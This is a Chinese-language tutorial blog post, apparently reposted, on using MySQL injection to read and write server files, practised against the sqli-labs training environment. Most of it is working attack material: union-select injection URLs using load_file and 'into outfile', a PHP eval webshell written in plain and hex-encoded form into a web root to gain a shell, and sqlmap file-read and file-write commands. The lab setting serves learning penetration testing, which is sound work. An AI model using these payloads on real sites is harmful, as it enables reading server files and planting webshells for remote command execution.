Mysql注入读写文件
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql注入读写文件相关的知识,希望对你有一定的参考价值。
mysql注入读写文件
1.Mysql注入读文件
MySQL
数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。
读取前提:
1.用户权限足够高,尽量具有root
权限。
2.secure_file_priv
不为NULL
。
(1)
配置环境
修改mysql.ini
的配置
可以看到里面secure_file_priv =
的配置语句,如果没有的看到配置文件的话,需要添加上等号
当我们执行命令:
show global variables like "secure_file_priv";
返回值为空
接下来就可以读取本地文件了,我们可以在E盘下新建一个flag.txt
的文件,内容任写,记得保存哦,否则你读本地文件的会为空
执行命令
select load_file("E:\\\\flag.txt");
(2)
接下来漏洞利用,读取文件sql-labs1
http://172.16.14.190:84/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("E:\\\\flag.txt"),3 --+
2.Mysql注入写文件
MySQL
数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。
1
.配置环境
set global general_log = on;
2
.实战应用
http://172.16.14.190:84/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile 'D:\\\\phpstudy_pro\\\\WWW\\\\sqli-labs-master\\\\Less-7\\\\1.php' --+
写入成功
http://172.16.14.190:84/sqli-labs-master/Less-7/123.php
3.写入Webshell
我们写入一句话木马<?php eval($_REQUEST[1]);?>
,一句话建议进行十六进制转码()
转码链接:https://www.sojson.com/hexadecimal.html
编码后,要在最前面加上0x
.payload如下所示
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'0x3c3f706870206576616c28245f524551554553545b315d293b3f3e' into outfile 'D:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\shell.php' --+
成功写入
连接webshell
写入进去到成功了,但是没有解析成功,难过。
后面询问了大佬一波,问题出在我的编码上,还有就是编码的位置
http://192.168.31.43/sqli-labs-master/Less-7/?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e,3 into outfile 'D:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\shell.php'--+
成功getshell
4.Sqlmap安全测试
sqlmap安全测试 利用sqlmap进行读写文件
利用sqlmap -hh查看详细的帮助信息
python2 sqlmap.py -hh
1.sql-map读文件
python2 sqlmap.py -u "http://192.168.31.43/sqli-labs-master/Less-1/?id=1" --file-read "E:\\\\flag.txt"
读取成功之后,找到读取文件的存放路径
读取文件
2.sql-map写文件
将E盘中的flag.txt写入到D盘中
python2 sqlmap.py -u "http://192.168.31.43/sqli-labs-master/Less-1/?id=1" --file-write "E:\\\\flag.txt" --file-dest "D:\\\\flag.txt"
ps
1.读写文件的过程中,一定要注意权限和绝对路径;
2.环境配置的问题,会影响我们在渗透测试的过程中,有些时候通,有些时候不通;
3.编码的问题,我就出现此问题,总是getshell失败,避免踩雷
参考链接:https://blog.csdn.net/qq_44159028/article/details/116274542
以上是关于Mysql注入读写文件的主要内容,如果未能解决你的问题,请参考以下文章
Mysql注入中的outfiledumpfileload_file函数详解